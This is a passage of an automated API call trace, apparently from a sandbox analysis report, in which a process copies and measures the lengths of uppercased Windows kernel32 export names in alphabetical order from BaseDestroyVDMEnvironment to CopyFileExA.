returned="BaseDestroyVDMEnvironment" [0118.275] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0118.275] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0118.275] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0118.275] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0118.275] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0118.275] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0118.275] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0118.275] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0118.275] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0118.275] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0118.275] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0118.275] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0118.275] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0118.275] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0118.275] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0118.275] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0118.276] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0118.276] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0118.276] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0118.276] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0118.276] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0118.276] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0118.276] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0118.276] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0118.276] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0118.276] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0118.276] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0118.276] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0118.276] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0118.276] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0118.276] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0118.276] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0118.276] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0118.276] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0118.276] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0118.276] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0118.276] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0118.277] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0118.277] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0118.277] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0118.277] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0118.277] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0118.277] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0118.277] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0118.277] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0118.277] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0118.277] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0118.277] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0118.277] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0118.277] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0118.277] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0118.277] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0118.277] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0118.277] lstrlenA (lpString="BEEP") returned 4 [0118.277] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0118.278] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0118.278] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0118.278] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0118.278] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0118.278] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0118.278] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0118.278] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0118.278] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0118.278] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0118.278] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0118.278] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0118.278] lstrlenA (lpString="CANCELIO") returned 8 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0118.278] lstrlenA (lpString="CANCELIOEX") returned 10 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0118.278] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0118.278] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0118.278] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0118.278] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0118.278] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0118.278] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0118.279] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0118.279] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0118.279] lstrlenA (lpString="CHECKELEVATION") returned 14 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0118.279] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0118.279] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0118.279] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0118.279] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0118.279] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0118.279] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0118.279] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0118.279] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0118.279] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0118.279] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0118.279] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0118.279] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0118.279] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0118.279] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0118.279] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0118.279] lstrlenA (lpString="CLOSESTATE") returned 10 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0118.279] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0118.279] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0118.280] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0118.280] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0118.280] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0118.280] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0118.280] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0118.280] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0118.280] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0118.280] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0118.280] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0118.280] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0118.280] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0118.280] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0118.280] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0118.280] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0118.280] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0118.280] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0118.280] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0118.280] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0118.280] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0118.280] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0118.280] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0118.280] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0118.281] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0118.281] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0118.281] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0118.281] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0118.281] lstrlenA (lpString="COPYCONTEXT") returned 11 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0118.281] lstrlenA (lpString="COPYFILE2") returned 9 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0118.281] lstrlenA (lpString="COPYFILEA") returned 9 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0118.281] lstrlenA (lpString="COPYFILEEXA") returned 11 [0118.281] 